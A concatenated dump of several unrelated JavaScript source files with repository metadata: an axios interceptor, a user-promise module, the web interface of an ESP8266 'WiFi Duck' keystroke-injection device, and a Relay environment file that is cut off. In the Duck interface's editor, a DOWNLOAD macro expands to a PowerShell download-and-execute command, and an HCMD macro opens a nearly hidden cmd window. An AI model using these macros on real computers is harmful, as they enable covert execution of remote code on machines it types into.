hGroupEnd('GROUP END \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\', `'error拦截器' END`, 'http.js:559', 1)
}
// 请求拦截
axios.interceptors.request.use(req => {
startLoading(req)
let propertyKeys = Reflect.ownKeys(req)
for (let i = 0; i < propertyKeys.length; ++i) {
let propertyKey = propertyKeys[i]
dlog(req[propertyKey], new Info(`req.${propertyKey}`), 0)
}
return req
}, err => {
errorLoading(err)
let propertyKeys = Reflect.ownKeys(err)
for (let i = 0; i < propertyKeys.length; ++i) {
let propertyKey = propertyKeys[i]
dlog(err[propertyKey], new Info(`请求request错误 err.${propertyKey}`), 0)
}
return Promise.reject(err)
})
// 响应拦截
axios.interceptors.response.use(res => {
endLoading(res)
let propertyKeys = Reflect.ownKeys(res)
for (let i = 0; i < propertyKeys.length; ++i) {
let propertyKey = propertyKeys[i]
dlog(res[propertyKey], new Info(`res.${propertyKey}`), 0)
}
return res
}, err => {
// endLoading()
errorLoading(err)
// 获取错误状态码
// let data = err.response.data
// let { status } = err.response
let propertyKeys = Reflect.ownKeys(err)
for (let i = 0; i < propertyKeys.length; ++i) {
let propertyKey = propertyKeys[i]
dlog(err[propertyKey], new Info(`请求响应错误 err.${propertyKey}`), 0)
}
return Promise.reject(err)
})
export default axios
| 41.920792 | 223 | 0.555975 |
061a816856807f32df5c02112a96af02af3ae94e | 2,528 | js | JavaScript | modules/promises/userPromises.js | collinnolen/CollinsBlog_Nodejs | bc3a63036703e1f9fecd0c0b647c549a598e6bf4 | [
"MIT"
] | 1 | 2019-11-23T04:16:53.000Z | 2019-11-23T04:16:53.000Z | modules/promises/userPromises.js | collinnolen/CollinsBlog_Nodejs | bc3a63036703e1f9fecd0c0b647c549a598e6bf4 | [
"MIT"
] | 1 | 2017-09-20T04:17:36.000Z | 2017-09-20T23:56:04.000Z | modules/promises/userPromises.js | collinnolen/CollinsBlog_Nodejs | bc3a63036703e1f9fecd0c0b647c549a598e6bf4 | [
"MIT"
] | null | null | null | const User = require('../../models/user.js');
const UnverifiedUser = require('../../models/unverifiedUser.js');
module.exports = {
followUserByUsername: function(userToFollow, userFollowing){
return new Promise(function(resolve, reject){
User.followUserByUsername(userToFollow, userFollowing, function(err){
if(err) reject(err);
else resolve('Success');
})
})
},
unfollowUserByUsername: function(userToUnfollow, userUnfollowing){
return new Promise(function(resolve, reject){
User.unfollowUserByUsername(userToUnfollow, userUnfollowing, function(err){
if(err) reject(err);
else resolve('Success');
})
})
},
getUserFollowingList: function(username){
return new Promise(function(resolve, reject){
User.getUserFollowingList(username, function(err, list){
if(err) reject(err);
else resolve(list);
})
})
},
getFeaturedUser: function(){
return new Promise(function(resolve, reject){
User.getFeaturedUser(function(err, featureduser){
if(err) reject(err);
else resolve(featureduser);
})
});
},
getUserByEmail: function(email){
return new Promise(function(resolve, reject){
User.getUserByEmail(email, function(err, user){
if(err)
reject(err);
else{
if(user == null){
resolve('null');
}
else
resolve(user);
}
});
});
},
getUserByUsername: function(username){
return new Promise(function(resolve, reject){
User.getUserByUsername(username, function(err, user){
if(err)
reject(err);
else{
if(user == null)
resolve('null');
else
resolve(user);
}
});
});
},
comparePassword: function(password, user_password){
return new Promise(function(resolve, reject){
User.comparePassword(password, user_password, function(err, isMatch){
if(err) reject(err);
else resolve(isMatch);
})
})
},
createUser: function(verifiedUser){
return new Promise(function(resolve, reject){
User.createUser(verifiedUser, function(err, user){
if(err) reject(err);
else resolve(user);
})
})
},
getUserById: function(id){
return new Promise(function(resolve, reject){
User.getUserById(id, function(err, user){
if(err){
reject(err);
}
else resolve(user);
})
})
}
}
| 24.784314 | 81 | 0.594937 |
061b43d2ffd1daca9d896f77d8744368c51b7704 | 23,892 | js | JavaScript | esp8266_wifi_duck/html/files/new/main.js | samdenty99/wifi_ducky | b6cfb7b4ba1183d0626de265ea3bd51aa92246f5 | [
"MIT"
] | 14 | 2017-09-07T23:49:20.000Z | 2018-09-03T13:55:51.000Z | esp8266_wifi_duck/html/files/new/main.js | samdenty99/wifi_ducky | b6cfb7b4ba1183d0626de265ea3bd51aa92246f5 | [
"MIT"
] | null | null | null | esp8266_wifi_duck/html/files/new/main.js | samdenty99/wifi_ducky | b6cfb7b4ba1183d0626de265ea3bd51aa92246f5 | [
"MIT"
] | 3 | 2018-04-04T06:01:45.000Z | 2018-06-19T09:41:07.000Z | function $(e){ return document.getElementById(e); };
var version = "9.0",
sL = $('spinner-container'),
notification = $("notification"),
themeColor = getComputedStyle(document.body),
saveStatus = $('spinner-container'),
autoExec = $('autoExec'),
execContainer = $('execContainer'),
main = document.getElementsByTagName("main")[0];
// Global functions
function page(_p) {
// If the page is different
_p = convertPage(false, _p);
if (window.location.search != "?" + _p) {
var _params = "";
if (_p) var _params = "?" + _p;
// Remove params from URL and add new ones
var newurl = window.location.href.split("?")[0] + _params;
if (history.pushState) {
// Go to new URL without reloading
window.history.pushState({ path: newurl }, null, newurl);
switchPage();
} else {
// Browser doesn't support pushState
window.location = newurl;
}
}
};
function switchPage(animation) {
document.body.scrollTop = document.documentElement.scrollTop = 0;
var curPage = "default";
if (window.location.search) curPage = window.location.search.substr(1);
// Convert page name to ID number
document.getElementsByTagName("body")[0].classList.remove("execute");
curPage = convertPage(true, curPage);
if (curPage != 1) document.getElementsByTagName('body')[0].classList.remove('hide-nav')
// Remove all active selectors from page elements
var items = document.querySelectorAll('page');
for (var i = 0; i < items.length; i++) {
items[i].classList.remove('active');
items[i].classList.remove('no-animation');
}
// Remove all active selectors from navbar items
items = document.querySelectorAll('a');
for (var i = 0; i < items.length; i++) {
items[i].classList.remove('active');
}
// Don't show animation on page load
if (animation == false) document.getElementById(curPage).classList.add('no-animation')
document.getElementById(curPage).classList.add('active')
var offset = curPage * 25;
document.getElementsByTagName("container")[0].setAttribute("style", "transform:translate(-"+ offset +"%,0)")
document.getElementById("nav-"+curPage).classList.add("active");
}
function convertPage(toNumber, subject) {
if (toNumber == true) {
// On page load
switch(subject) {
case "execute":
document.getElementsByTagName("body")[0].classList.add("execute");
return 1;
break;
case "settings":
return 2;
break;
case "info":
return 3;
break;
default:
return 0;
}
} else {
// On-click handlers for pages
switch(subject) {
case 1:
document.getElementsByTagName("body")[0].classList.add("execute");
return "execute";
break;
case 2:
return "settings";
break;
case 3:
return "info";
break;
default:
return "";
}
}
}
function getResponse(adr, callback, timeoutCallback, timeout, method){
if(timeoutCallback === undefined) {
timeoutCallback = function(){
notify("Failed to load /"+adr);
};
}
if(timeout === undefined) timeout = 8000;
if(method === undefined) method = "GET";
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState == 4){
if(xmlhttp.status == 200){
notify("");
callback(xmlhttp.responseText);
}
else timeoutCallback();
}
};
xmlhttp.open(method, adr, true);
xmlhttp.send();
xmlhttp.timeout = timeout;
xmlhttp.ontimeout = timeoutCallback;
}
/* Add scroll event listeners */
var nav = document.getElementsByTagName("nav")[0];
window.onscroll = function() {
if (window.pageYOffset > 3 ) {
nav.classList.add("n-shadow");
} else {
nav.classList.remove("n-shadow");
}
}
main.onscroll = function() {
if (main.scrollTop > 3) {
nav.classList.add("n-shadow");
} else {
nav.classList.remove("n-shadow");
}
}
function notify(msg, closeAfter) {
if (msg) {
notification.innerHTML = msg;
notification.className = "show";
} else {
notification.className = "";
}
if (closeAfter !== undefined) {
setTimeout(function() {
notification.className = "";
}, closeAfter);
}
}
/* Waves Library */
!function(a,b){"use strict";"function"==typeof define&&define.amd?define([],function(){return b.apply(a)}):"object"==typeof exports?module.exports=b.call(a):a.Waves=b.call(a)}("object"==typeof global?global:this,function(){"use strict";function a(a){return null!==a&&a===a.window}function b(b){return a(b)?b:9===b.nodeType&&b.defaultView}function c(a){var b=typeof a;return"function"===b||"object"===b&&!!a}function d(a){return c(a)&&a.nodeType>0}function e(a){var b=m.call(a);return"[object String]"===b?l(a):c(a)&&/^\[object (Array|HTMLCollection|NodeList|Object)\]$/.test(b)&&a.hasOwnProperty("length")?a:d(a)?[a]:[]}function f(a){var c,d,e={top:0,left:0},f=a&&a.ownerDocument;return c=f.documentElement,"undefined"!=typeof a.getBoundingClientRect&&(e=a.getBoundingClientRect()),d=b(f),{top:e.top+d.pageYOffset-c.clientTop,left:e.left+d.pageXOffset-c.clientLeft}}function g(a){var b="";for(var c in a)a.hasOwnProperty(c)&&(b+=c+":"+a[c]+";");return b}function h(a,b,c){if(c){c.classList.remove("waves-rippling");var d=c.getAttribute("data-x"),e=c.getAttribute("data-y"),f=c.getAttribute("data-scale"),h=c.getAttribute("data-translate"),i=Date.now()-Number(c.getAttribute("data-hold")),j=350-i;0>j&&(j=0),"mousemove"===a.type&&(j=150);var k="mousemove"===a.type?2500:o.duration;setTimeout(function(){var a={top:e+"px",left:d+"px",opacity:"0","-webkit-transition-duration":k+"ms","-moz-transition-duration":k+"ms","-o-transition-duration":k+"ms","transition-duration":k+"ms","-webkit-transform":f+" "+h,"-moz-transform":f+" "+h,"-ms-transform":f+" "+h,"-o-transform":f+" "+h,transform:f+" "+h};c.setAttribute("style",g(a)),setTimeout(function(){try{b.removeChild(c)}catch(a){return!1}},k)},j)}}function i(a){if(q.allowEvent(a)===!1)return null;for(var b=null,c=a.target||a.srcElement;c.parentElement;){if(!(c instanceof SVGElement)&&c.classList.contains("waves-effect")){b=c;break}c=c.parentElement}return b}function j(a){var b=i(a);if(null!==b){if(b.disabled||b.getAttribute("disabled")||b.classList.contains("disabled"))return;if(q.registerEvent(a),"touchstart"===a.type&&o.delay){var c=!1,d=setTimeout(function(){d=null,o.show(a,b)},o.delay),e=function(e){d&&(clearTimeout(d),d=null,o.show(a,b)),c||(c=!0,o.hide(e,b))},f=function(a){d&&(clearTimeout(d),d=null),e(a)};b.addEventListener("touchmove",f,!1),b.addEventListener("touchend",e,!1),b.addEventListener("touchcancel",e,!1)}else o.show(a,b),n&&(b.addEventListener("touchend",o.hide,!1),b.addEventListener("touchcancel",o.hide,!1)),b.addEventListener("mouseup",o.hide,!1),b.addEventListener("mouseleave",o.hide,!1)}}var k=k||{},l=document.querySelectorAll.bind(document),m=Object.prototype.toString,n="ontouchstart"in window,o={duration:750,delay:200,show:function(a,b,c){if(2===a.button)return!1;b=b||this;var d=document.createElement("div");d.className="waves-ripple waves-rippling",b.appendChild(d);var e=f(b),h=0,i=0;"touches"in a&&a.touches.length?(h=a.touches[0].pageY-e.top,i=a.touches[0].pageX-e.left):(h=a.pageY-e.top,i=a.pageX-e.left),i=i>=0?i:0,h=h>=0?h:0;var j="scale("+b.clientWidth/100*3+")",k="translate(0,0)";c&&(k="translate("+c.x+"px, "+c.y+"px)"),d.setAttribute("data-hold",Date.now()),d.setAttribute("data-x",i),d.setAttribute("data-y",h),d.setAttribute("data-scale",j),d.setAttribute("data-translate",k);var l={top:h+"px",left:i+"px"};d.classList.add("waves-notransition"),d.setAttribute("style",g(l)),d.classList.remove("waves-notransition"),l["-webkit-transform"]=j+" "+k,l["-moz-transform"]=j+" "+k,l["-ms-transform"]=j+" "+k,l["-o-transform"]=j+" "+k,l.transform=j+" "+k,l.opacity="1";var m="mousemove"===a.type?2500:o.duration;l["-webkit-transition-duration"]=m+"ms",l["-moz-transition-duration"]=m+"ms",l["-o-transition-duration"]=m+"ms",l["transition-duration"]=m+"ms",d.setAttribute("style",g(l))},hide:function(a,b){b=b||this;for(var c=b.getElementsByClassName("waves-rippling"),d=0,e=c.length;e>d;d++)h(a,b,c[d])}},p={input:function(a){var b=a.parentNode;if("i"!==b.tagName.toLowerCase()||!b.classList.contains("waves-effect")){var c=document.createElement("i");c.className=a.className+" waves-input-wrapper",a.className="waves-button-input",b.replaceChild(c,a),c.appendChild(a);var d=window.getComputedStyle(a,null),e=d.color,f=d.backgroundColor;c.setAttribute("style","color:"+e+";background:"+f),a.setAttribute("style","background-color:rgba(0,0,0,0);")}},img:function(a){var b=a.parentNode;if("i"!==b.tagName.toLowerCase()||!b.classList.contains("waves-effect")){var c=document.createElement("i");b.replaceChild(c,a),c.appendChild(a)}}},q={touches:0,allowEvent:function(a){var b=!0;return/^(mousedown|mousemove)$/.test(a.type)&&q.touches&&(b=!1),b},registerEvent:function(a){var b=a.type;"touchstart"===b?q.touches+=1:/^(touchend|touchcancel)$/.test(b)&&setTimeout(function(){q.touches&&(q.touches-=1)},500)}};return k.init=function(a){var b=document.body;a=a||{},"duration"in a&&(o.duration=a.duration),"delay"in a&&(o.delay=a.delay),n&&(b.addEventListener("touchstart",j,!1),b.addEventListener("touchcancel",q.registerEvent,!1),b.addEventListener("touchend",q.registerEvent,!1)),b.addEventListener("mousedown",j,!1)},k.attach=function(a,b){a=e(a),"[object Array]"===m.call(b)&&(b=b.join(" ")),b=b?" "+b:"";for(var c,d,f=0,g=a.length;g>f;f++)c=a[f],d=c.tagName.toLowerCase(),-1!==["input","img"].indexOf(d)&&(p[d](c),c=c.parentElement),-1===c.className.indexOf("waves-effect")&&(c.className+=" waves-effect"+b)},k.ripple=function(a,b){a=e(a);var c=a.length;if(b=b||{},b.wait=b.wait||0,b.position=b.position||null,c)for(var d,g,h,i={},j=0,k={type:"mousedown",button:1},l=function(a,b){return function(){o.hide(a,b)}};c>j;j++)if(d=a[j],g=b.position||{x:d.clientWidth/2,y:d.clientHeight/2},h=f(d),i.x=h.left+g.x,i.y=h.top+g.y,k.pageX=i.x,k.pageY=i.y,o.show(k,d),b.wait>=0&&null!==b.wait){var m={type:"mouseup",button:1};setTimeout(l(m,d),b.wait)}},k.calm=function(a){a=e(a);for(var b={type:"mouseup",button:1},c=0,d=a.length;d>c;c++)o.hide(b,a[c])},k.displayEffect=function(a){k.init(a)},k});
/* Attach waves to elements */
Waves.attach('actions a', ['waves-light']);
Waves.attach('.card-action .button', ['waves-blue']);
Waves.attach('button', ['waves-light']);
Waves.attach('.button', ['waves-light']);
Waves.attach('.reboot-inner');
Waves.init();
// Default page
var res;
var table = document.getElementById("scriptlist");
var memoryGraph = document.getElementById("memoryGraph");
var memorySize = document.getElementById("memorySize");
function loadlist(){
getResponse("list.json",function(responseText){
res = JSON.parse(responseText);
memoryGraph.value = res.usedBytes;
memoryGraph.max = res.totalBytes;
res.usedBytes = parseInt(res.usedBytes/1000);
res.totalBytes = parseInt(res.totalBytes/1000);
memorySize.innerHTML = res.usedBytes+" / "+res.totalBytes+"KB ("+(res.totalBytes-res.usedBytes)+"KB available)";
var tableHTML = "<tr><th>Name</th><th>Size</th><th>Run</th></tr>";
for(var i=0;i<res.list.length;i++){
tableHTML += "<tr>";
tableHTML += "<td><a href='view.html?script="+res.list[i].n+"'>"+res.list[i].n+"</a></td>";
tableHTML += "<td>"+res.list[i].s+"</td>";
tableHTML += "<td><button class='selectBtn' onclick='run("+i+")'>run</button></td>";
tableHTML += "</tr>";
}
table.innerHTML = tableHTML;
});
}
function run(i) {
getResponse("run?name="+res.list[i].n,function(responseText){
console.log(responseText);
},undefined,undefined,"POST");
}
function format() {
getResponse("format",function(responseText){
loadlist();
});
}
// Live execute page
function count(){
document.getElementById("charCount").innerHTML = document.getElementById("scriptTextArea").value.length;
}
function liveRun() {
var script = document.getElementById("scriptTextArea").value.replace(/\n\r?/g, '%0D');
getResponse("run?script="+script,function(responseText){
if(responseText == "true") notify("Executing Script...",2500);
},undefined,undefined, "POST");
}
function save() {
var scriptName = prompt("Scriptname:");
if(scriptName !== null){
var script = document.getElementById("scriptTextArea").value.replace(/\n\r?/g, '%0D');
console.log(script);
getResponse("save?name="+scriptName+"&script="+script,function(responseText){
if(responseText == "true") notify("Saved as '"+scriptName+"'",2500);
loadlist();
},undefined,undefined, "POST");
}
}
// Settings page
function set(e,v) {
document.getElementById(e).value = v;
}
function setChecked(e) {
document.getElementById(e).setAttribute('checked','checked');
}
function loadSettings() {
getResponse("settings.json",function(responseText){
var res = JSON.parse(responseText);
set("ssid",res.ssid);
set("pswd",res.password);
set("ch",res.channel);
set("hidden",res.hidden);
set("autostart",res.autostart);
if(res.hidden) setChecked("hidden");
if(res.syntax) {
setChecked("syntax");
document.getElementsByTagName("body")[0].classList.add("highlight");
} else {
document.getElementsByTagName("body")[0].classList.remove("highlight");
}
if(res.autoExec) setChecked("autoExec");
switchEXEC()
setTimeout(function(){document.getElementsByTagName("main")[0].classList.remove("fade-in")}, 10);
setTimeout(function(){document.getElementsByTagName("body")[0].classList.add("animation")}, 1000);
});
setTimeout(function(){document.getElementsByTagName("main")[0].classList.remove("fade-in")}, 6000);
setTimeout(function(){document.getElementsByTagName("body")[0].classList.add("animation")}, 7000);
}
function restart(){
indicate(6)
getResponse("restart",function(responseText){},function(){
setTimeout(function(){indicate("true")},400);
},1000);
}
function reset(){
getResponse("reset",function(responseText){
loadSettings();
});
}
autoExec.addEventListener("change", switchEXEC, false);
function switchEXEC() {
if (autoExec.checked)
execContainer.classList.remove("disabled");
else
execContainer.classList.add("disabled");
}
// Syntax highlighting
function Parser( rules, i ){
/* INIT */
var api = this;
// variables used internally
var i = i ? 'i' : '';
var parseRE = null;
var ruleSrc = [];
var ruleMap = {};
api.add = function( rules ){
for( var rule in rules ){
var s = rules[rule].source;
ruleSrc.push( s );
ruleMap[rule] = new RegExp('^('+s+')$', i );
}
parseRE = new RegExp( ruleSrc.join('|'), 'g'+i );
};
api.tokenize = function(input){
return input.match(parseRE);
};
api.identify = function(token){
for( var rule in ruleMap ){
if( ruleMap[rule].test(token) ){
return rule;
}
}
};
api.add( rules );
return api;
};
// TextareaDecorator.js
function TextareaDecorator( textarea, parser ){
/* INIT */
var api = this;
// construct editor DOM
var parent = document.createElement("div");
var output = document.createElement("pre");
parent.appendChild(output);
// replace the textarea with RTA DOM and reattach on label
textarea.parentNode.replaceChild( parent, textarea );
parent.appendChild(textarea);
var label = document.createElement("label");
label.className="control-label"
label.setAttribute("for", "scriptTextArea")
label.innerHTML= 'Ducky Script <i style="color:inherit">(<span id="charCount" style="color:inherit"></span>/1024)</i>'
parent.appendChild(label)
var label2 = document.createElement("label");
label2.className="bar"
parent.appendChild(label2)
textarea.wrap = "off";
// coloring algorithm
var color = function( input, output, parser ){
var oldTokens = output.childNodes;
var newTokens = parser.tokenize(input);
var firstDiff, lastDiffNew, lastDiffOld;
// find the first difference
for( firstDiff = 0; firstDiff < newTokens.length && firstDiff < oldTokens.length; firstDiff++ )
if( newTokens[firstDiff] !== oldTokens[firstDiff].textContent ) break;
// trim the length of output nodes to the size of the input
while( newTokens.length < oldTokens.length )
output.removeChild(oldTokens[firstDiff]);
// find the last difference
for( lastDiffNew = newTokens.length-1, lastDiffOld = oldTokens.length-1; firstDiff < lastDiffOld; lastDiffNew--, lastDiffOld-- )
if( newTokens[lastDiffNew] !== oldTokens[lastDiffOld].textContent ) break;
// update modified spans
for( ; firstDiff <= lastDiffOld; firstDiff++ ){
oldTokens[firstDiff].className = parser.identify(newTokens[firstDiff]);
oldTokens[firstDiff].textContent = oldTokens[firstDiff].innerText = newTokens[firstDiff];
}
// add in modified spans
for( var insertionPt = oldTokens[firstDiff] || null; firstDiff <= lastDiffNew; firstDiff++ ){
var span = document.createElement("span");
span.className = parser.identify(newTokens[firstDiff]);
span.textContent = span.innerText = newTokens[firstDiff];
output.insertBefore( span, insertionPt );
}
};
api.input = textarea;
api.output = output;
api.update = function(){
var input = textarea.value;
var changecursor = false;
var oldInput = input;
var position = textarea.selectionEnd;
if(input.match(/^\S+/gm)){
input = input.replace(/^\S+/gm,function(letter){return letter.toUpperCase()});
}
if (input.match(/(^|,)REPEAT/gm)) {
input = input.replace(/(^|,)REPEAT/gm, "REPLAY");
}
if (input.match(/(^|,)WINDOWS/gm)) {
input = input.replace(/(^|,)WINDOWS/gm, "GUI");
position = position - 4;
}
if (input.match(/(^|,)RUN/gm)) {
input = input.replace(/(^|,)RUN/gm, "GUI R\nDELAY 450\nSTRING \nENTER");
changecursor = true;
position = position + 20;
}
if (input.match(/(^|,)HCMD/gm)) {
input = input.replace(/(^|,)HCMD/gm, "GUI R\nDELAY 450\nSTRING cmd /t:fe /k \"mode con: cols=21 lines=1\"\nENTER\nDELAY 600\nSTRING \nENTER");
changecursor = true;
position = position + 83;
}
if (input.match(/(^|,)CMD/gm)) {
input = input.replace(/(^|,)CMD/gm, "GUI R\nDELAY 450\nSTRING cmd\nENTER\nDELAY 600\nSTRING \nENTER");
changecursor = true;
position = position + 47;
}
if (input.match(/(^|,)DOWNLOAD/gm)) {
input = input.replace(/(^|,)DOWNLOAD/gm, "GUI R\nDELAY 450\nSTRING powershell\nENTER\nDELAY 600\nSTRING $d=New-Object System.Net.WebClient;$u='http://';$f=\"_\";$f+=Get-Random;$f+=[System.IO.Path]::GetExtension($u);$d.DownloadFile($u,$f);$e=New-Object -com shell.application;$e.shellexecute($f);exit\nENTER");
changecursor = true;
position = position + 95;
}
if (input.match(/(^|,)SLEEP/gm)) {
input = input.replace(/(^|,)SLEEP/gm, "DELAY");
}
if (input.match(/(^|,)RETURN/gm)) {
input = input.replace(/(^|,)RETURN/gm, "ENTER");
position = position - 1;
}
if (input.match(/(^|,)1/gm)) {
input = input.replace(/(^|,)1/gm, "STRING ");
changecursor = true;
position = position + 6;
}
if (input.match(/(^|,)2/gm)) {
input = input.replace(/(^|,)2/gm, "DELAY ");
changecursor = true;
position = position + 5;
}
if (input.match(/(^|,)3/gm)) {
input = input.replace(/(^|,)3/gm, "REPLAY ");
changecursor = true;
position = position + 6;
}
if (input.match(/(^|,)4/gm)) {
input = input.replace(/(^|,)4/gm, "GUI ");
changecursor = true;
position = position + 3;
}
if (input.match(/(^|,)5/gm)) {
input = input.replace(/(^|,)5/gm, "ENTER\n");
changecursor = true;
position = position + 5;
}
if (input.match(/(^|,)6/gm)) {
input = input.replace(/(^|,)6/gm, "TAB\n");
changecursor = true;
position = position + 3;
}
if (input.match(/(^|,)7/gm)) {
input = input.replace(/(^|,)7/gm, "REM ");
changecursor = true;
position = position + 3;
}
if (input.match(/(^|,)8/gm)) {
input = input.replace(/(^|,)8/gm, "GUI R");
changecursor = true;
position = position + 4;
}
if (input != oldInput) {
// Capture cursor position (prevents the cursor from jumping to end after every key press)
textarea.value = input;
var ua = navigator.userAgent.toLowerCase();
var isAndroid = ua.indexOf("android") > -1;
if(isAndroid && changecursor) {
setTimeout(function(){textarea.selectionStart = position;textarea.selectionEnd = position},0)
} else if (isAndroid && position == input.length) {
// If Android and at the end of the line
textarea.selectionStart = textarea.selectionEnd = textarea.value.length;
} else {
// Set cursor position on normal browsers
textarea.selectionEnd = position
}
}
if( input ){
color( input, output, parser );
// determine the best size for the textarea
var lines = input.split('\n');
// find the number of columns
var maxlen = 0, curlen;
for( var i = 0; i < lines.length; i++ ){
// calculate the width of each tab
var tabLength = 0, offset = -1;
while( (offset = lines[i].indexOf( '\t', offset+1 )) > -1 ){
tabLength += 7 - (tabLength + offset) % 8;
}
var curlen = lines[i].length + tabLength;
// store the greatest line length thus far
maxlen = maxlen > curlen ? maxlen : curlen;
}
textarea.cols = maxlen + 1;
textarea.rows = lines.length + 1;
} else {
// clear the display
output.innerHTML = '';
// reset textarea rows/cols
textarea.cols = textarea.rows = 1;
}
count()
};
// detect all changes to the textarea,
// including keyboard input, cut/copy/paste, drag & drop, etc
if( textarea.addEventListener ){
// standards browsers: oninput event
textarea.addEventListener( "input", api.update, false );
} else {
// MSIE: detect changes to the 'value' property
textarea.attachEvent( "onpropertychange",
function(e){
if( e.propertyName.toLowerCase() === 'value' ){
api.update();
}
}
);
}
// initial highlighting
api.update();
return api;
};
// generic syntax parser
var parser = new Parser({
whitespace: /\s+/,
comment: /(REM|#)[^\r\n]*/,
number: /0x[\dA-Fa-f]+|-?(\d+\.?\d*|\.\d+)/,
string: /STRING(.*)/,
key: /(WINDOWS|GUI|SHIFT|ALT|CTRL|ENTER|DELETE|ESC|INSERT|SPACE|TAB|DOWN|LEFT|RIGHT|UP|CAPSLOCK|HOME|APP|MENU|PAGEUP|PAGEDOWN)(?!\w|=)/,
keyword: /(DELAY|DEFAULTDELAY|REPLAY)(?!\w|=)/,
text: /\S+/,
});
// wait for the page to finish loading before accessing the DOM
window.onload = function(){
// get the textarea
var textarea = $('scriptTextArea');
// start the highlighter
decorator = new TextareaDecorator( textarea, parser );
};
function indicate(indState) {
if (indState == null) {
saveStatus.classList.remove("show-loading");
setTimeout(function() {saveStatus.className = ""}, 500)
} else if (indState == 6) {
saveStatus.classList.add("show-loading");
} else if (indState == true) {
saveStatus.classList.add("show-loading");
saveStatus.classList.add("success-save");
setTimeout(function(){indicate()}, 2500);
} else if (indState == false){
saveStatus.classList.add("show-loading");
saveStatus.classList.add("failed-save");
setTimeout(function(){indicate()}, 2500);
}
}
// Execute on page load
switchPage(false);
loadlist();
loadSettings();
// Windows URL listener (Eg. History back + forward keys)
var currentPage = window.location.href;
// listen for changes
setInterval(function() {
if (currentPage != window.location.href) {
// page has changed, set new page as 'current'
currentPage = window.location.href;
switchPage()
}
}, 500);
| 41.989455 | 5,985 | 0.647874 |
061b7348d6b39a53d088ca6d8dff1129e56f79dd | 4,921 | js | JavaScript | src/Environment.js | alexantom/live | 9469a4f1a9ce3fd211572feccad6bad3521640ff | [
"MIT"
] | null | null | null | src/Environment.js | alexantom/live | 9469a4f1a9ce3fd211572feccad6bad3521640ff | [
"MIT"
] | null | null | null | src/Environment.js | alexantom/live | 9469a4f1a9ce3fd211572feccad6bad3521640ff | [
"MIT"
] | null | null | null | // @flow
import {Environment, Network, RecordSource, Store} from 'relay-runtime';
import Cookies from 'universal-cookie';
import config from './config';
import PreloadCache from './preloadQueryCache';
import OneGraphAuth from 'onegraph-auth';
class AuthDummy {
isLoggedIn(x: any) {
return Promise.resolve(false);
}
authHeaders() {
return {};
}
login(x: any) {
return Promise.resolve(null);
}
logout(x: any) {
return Promise.resolve(null);
}
destroy() {
return null;
}
}
class CookieStorage {
_cookies: Cookies = new Cookies();
_getOptions = () => {
return {
path: '/',
secure: process.env.NODE_ENV === 'development' ? false : true,
sameSite: 'strict',
expires: new Date(Date.now() + 1000 * 60 * 60 * 24 * 7), // 1 week
};
};
getItem = (key: string): ?string => {
return this._cookies.get(key, {doNotParse: true});
};
setItem = (key: string, value: string): void => {
this._cookies.set(key, value, this._getOptions());
};
removeItem = (key: string): void => {
this._cookies.remove(key, this._getOptions());
};
}
export const onegraphAuth = global.window
? new OneGraphAuth({
appId: config.appId,
communicationMode: 'post_message',
storage: new CookieStorage(),
})
: new AuthDummy();
function getQueryId(operation) {
return operation.id || operation.text;
}
async function sendRequest({onegraphAuth, headers, requestBody}) {
const response = await fetch(
'https://serve.onegraph.com/graphql?app_id=' + config.appId,
{
method: 'POST',
headers: {
'Content-Type': 'application/json',
Accept: 'application/json',
...onegraphAuth.authHeaders(),
// $FlowFixMe
...(headers ? headers : {}),
},
body: requestBody,
},
);
return await response.json();
}
async function checkifCorsRequired(): Promise<boolean> {
try {
const response = await fetch(
'https://serve.onegraph.com/is-cors-origin-allowed?app_id=' +
config.appId,
);
const json = await response.json();
return !json.allowed;
} catch (e) {
console.error('Error checking if CORS required');
return false;
}
}
// Fix problem where relay gets nonnull `data` field and does weird things to the cache
function maybeNullOutQuery(json) {
if (json.data && !json.data.gitHub) {
return {
...json,
data: null,
};
}
return json;
}
function makeFetchQuery(
headers?: ?{[key: string]: string},
preloadCache: ?PreloadCache,
getEnvironment,
) {
return async function fetchQuery(operation, rawVariables, cacheConfig) {
const variables = {};
// Bit of a hack to prevent Relay from sending null values for variables
// we provided to OneGraph via fixedVariables.
for (const k of Object.keys(rawVariables)) {
if (rawVariables[k] != null) {
variables[k] = rawVariables[k];
}
}
const queryId = getQueryId(operation);
const forceFetch = cacheConfig && cacheConfig.force;
const isMutation = operation.operationKind === 'mutation';
const isQuery = operation.operationKind === 'query';
const requestBody = JSON.stringify({
doc_id: operation.id,
query: operation.text,
variables,
});
const appId = config.appId;
try {
const json = await sendRequest({
onegraphAuth,
headers,
requestBody,
});
if (isMutation && preloadCache) {
getEnvironment();
preloadCache.clear(getEnvironment());
}
if (
json.errors &&
(headers || Object.keys(onegraphAuth.authHeaders()).length)
) {
// Clear auth on any error and try again
onegraphAuth.destroy();
const newJson = await sendRequest({
onegraphAuth,
headers: {},
requestBody,
});
return maybeNullOutQuery(newJson);
} else {
return maybeNullOutQuery(json);
}
} catch (e) {
if (typeof window !== 'undefined') {
const isCorsRequired = await checkifCorsRequired();
if (isCorsRequired) {
const error = new Error('Missing CORS origin.');
(error: any).type = 'missing-cors';
throw error;
}
}
throw e;
}
};
}
export function createEnvironment(
recordSource: RecordSource,
headers?: ?{[key: string]: string},
preloadCache: ?PreloadCache,
) {
const store = new Store(recordSource);
store.holdGC();
let environment;
const getEnvironment = () => environment;
environment = new Environment({
network: Network.create(
makeFetchQuery(headers, preloadCache, getEnvironment),
),
store,
});
return environment;
}
export const recordSource =
typeof window !== 'undefined' && window.__RELAY_BOOTSTRAP_DATA__
? new RecordSource(window.__RELAY_BOOTSTRAP_DATA__)
: new RecordSource();
| 25.365979 | 87 | 0.61959 |
061c21a74bdded4a2ae8ee09db05b58af217ac26 | 3,079 | js | JavaScript | src/controller/contact.controller.js | vanduc1102/nodejs-course-api-sample | 7b63d4e422fc90e15865f19ff4e659e7427c3a96 | [
"MIT"
] | null | null | null | src/controller/contact.controller.js | vanduc1102/nodejs-course-api-sample | 7b63d4e422fc90e15865f19ff4e659e7427c3a96 | [
"MIT"
